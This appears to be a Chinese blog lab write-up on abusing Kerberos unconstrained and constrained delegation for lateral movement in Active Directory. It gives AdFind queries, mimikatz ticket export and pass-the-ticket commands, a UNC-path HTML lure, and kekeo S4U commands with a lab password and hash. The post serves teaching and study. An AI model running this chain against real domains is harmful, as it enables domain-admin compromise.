内网渗透—横向移动&非约束委派&约束委派

前言

今天依旧是横向移动的内容,委派主要分为三类非约束委派、约束委派、资源委派。今天主要讲前面两个内容,资源委派留到最后再讲。

实验环境

Web:192.168.145.137,192.168.22.28
DC:192.168.22.30

非约束委派

原理

原理很简单,当DC访问具有非约束委派权限的主机A时,会把当前域管理员账户的TGT放在ST票据中,然后一起发给主机A。主机A会把TGT存储在lsass进程中以便下次使用,而我们的机器A就可以利用这个TGT伪装成域管理员去访问DC。

利用

当我们取得一台具有非约束委派权限的域内主机时,我们可以诱导DC来访问受控主机,拿到域管理员的TGT,从而伪装身份。

环境搭建

首先来到域控中,右键我们的Web主机,选择属性。

选择信任此计算机的任何委派。

接着输入命令,才能够在用户属性中找到委派。

setspn -U -A priv/test weige

接着我们到对应的用户,右键属性,也是选择信任此用户的任何委派。

实验测试

这里先让web主机上线CS先,然后提权为system,把Adfind这个工具上传到web服务器。

下载地址:Download AdFind (softpedia.com)

查询域内有非委派约束权限的用户,可以看到我们上面设置的weige这个账号。

AdFind.exe -b "DC=god,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的主机,也是可以看到我们上面设置的WLW---PC。

AdFind.exe -b "DC=god,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

我们这里先清除一下票据。

mimikatz kerberos::purge 清除凭证
shell klist purge 查看当前凭证

尝试访问DC,显示拒绝访问。

dir \\DC.god.local\c$

这里我们想办法诱导DC访问Web主机才行,可以做个网页钓鱼。不过就现实来说DC几乎不会去访问网页,也不会去访问域内主机,除非不小心点到了。

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.22.30">
</body>
</html>

这里我就懒得搞网页了,直接让DC连接Web主机吧。

net use \\WLW-PC

此时我们导出票据。

mimikatz sekurlsa::tickets /export

看一下票据,Administrator的就是DC的票据。

接着导入票据,好吧,这里不知道为啥失败了,明明昨天实验一把成功,今天又出问题了。那我直接拿一下别人的图片吧,其实到这里不用说你们也知道咋利用了。

图片引用:内网横向移动---非约束委派&约束委派_横向移动委派-CSDN博客

mimikatz kerberos::ptt [0;bbd89]-2-0-60a00000-Administrator@krbtgt-god.local.kirbi

访问域控。

约束委派

原理

由于非约束委派的不安全性,微软在windows server2003中引入了约束委派,对Kerberos协议进行了拓展,引入了sservice for user to self(S4U2Self)和Service for user to Proxy(S4U2proxy)。

利用

约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

环境搭建

与非约束委派不同的是,约束委派选择仅信任指定服务,找到域控主机名,并选择服务类型为cifs添加。

找到相对应的用户,配置也是一样的。

实验测试

查询具有约束委派权限的用户。

AdFind -b "DC=god,DC=local" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询设置了约束委派的主机。

AdFind -b "DC=god,DC=local" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

由于域内主机想要访问域控,就必须要有TGT和ST。上面我们说过为了安全,Kerberos协议引入了S4U2Self和S4U2proxy。kekeo是一个模拟Kerberos认证的工具,我们可以用使用kekeo去申请TGT,明文或者hash都行,不要再问密码哪里来的了.

kekeo "tgt::ask /user:weige /domain:god.local /password:#abc123" "exit"   

kekeo "tgt::ask /user:weige /domain:god.local /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"

通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。

kekeo.exe "tgs::s4u /tgt:TGT_weige@GOD.LOCAL_krbtgt~god.local@GOD.LOCAL.kirbi /user:Administrator@god.local /service:cifs/DC.god.local" "exit""
//第一个斜杠后面的是上面生成的TGT,第二个是以administrator的用户去申请,记得加上域名,第三个则是域控全名

会在当前目录下生成两个票据。

接着导入票据,一般来说都是导入这个名字最长的票据,如过不知道就两个都试试。

mimikatz kerberos::ptt TGS_Administrator@god.local@GOD.LOCAL_cifs~DC.god.local@GOD.LOCAL.kirbi

成功访问域控。

dir \\DC.god.local\c$

总结

非约束委派和约束委派的最大区别就是,一个是信任此计算机的任何委派,一个只是信任指定委派。从实际运用来说,非约束委派由于要让DC进行连接才能获得票据,所以有点鸡肋,就不如约束委派。其实说来说去,本质都是票据的伪造,然后进行票据传递。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。